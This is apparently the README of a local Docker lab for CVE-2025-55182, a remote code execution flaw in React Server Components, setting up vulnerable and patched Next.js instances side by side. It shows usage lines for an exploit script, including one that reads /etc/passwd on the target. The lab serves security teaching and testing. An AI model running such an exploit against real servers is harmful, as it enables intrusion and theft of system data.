# 1. Clone
git clone https://github.com/Jeanback1/react-rsc-cve-2025-55182-lab.git
cd react-rsc-cve-2025-55182-lab

# 2. Start the lab (vulnerable + patched instances)
docker compose up -d

# Wait ~2 minutes for both containers to build and start.

# 3. Exploit the vulnerable instance
python exploit/exploit.py http://localhost:3011 id

# 4. Try the same against the patched instance — it fails
python exploit/exploit.py http://localhost:3012 id

                  docker compose
                 ┌────────────────────────────────┐
                 │                                │
   attacker ────▶│  :3011 → rsc-lab-vulnerable    │  React 19.2.0
                 │           (Server Action)       │  ← exploitable
                 │                                │
                 │  :3012 → rsc-lab-patched        │  React 19.2.1
                 │           (no Server Action)    │  ← patched
                 └────────────────────────────────┘

├── docker-compose.yml        # Lab orchestration
├── README.md                 # This file
├── LICENSE
│
├── vulnerable/               # Vulnerable Next.js app
│   ├── Dockerfile
│   ├── package.json          # [email protected], [email protected]
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx          # Server Component + Server Action
│       └── actions.ts        # 'use server' — the attack surface
│
├── patched/                  # Patched Next.js app
│   ├── Dockerfile
│   ├── package.json          # [email protected], [email protected]
│   └── app/
│       ├── layout.tsx
│       └── page.tsx          # Server Component only (no Server Actions)
│
├── exploit/
│   ├── exploit.py            # Educational RCE exploit (well-commented)
│   ├── requirements.txt
│   └── pyproject.toml
│
└── docs/
    └── CVE-2025-55182.md     # Full technical analysis

# Single command execution
python exploit/exploit.py <target> <command>

# Examples
python exploit/exploit.py http://localhost:3011 id
python exploit/exploit.py http://localhost:3011 "cat /etc/passwd"
python exploit/exploit.py http://localhost:3011 "ls -la /app"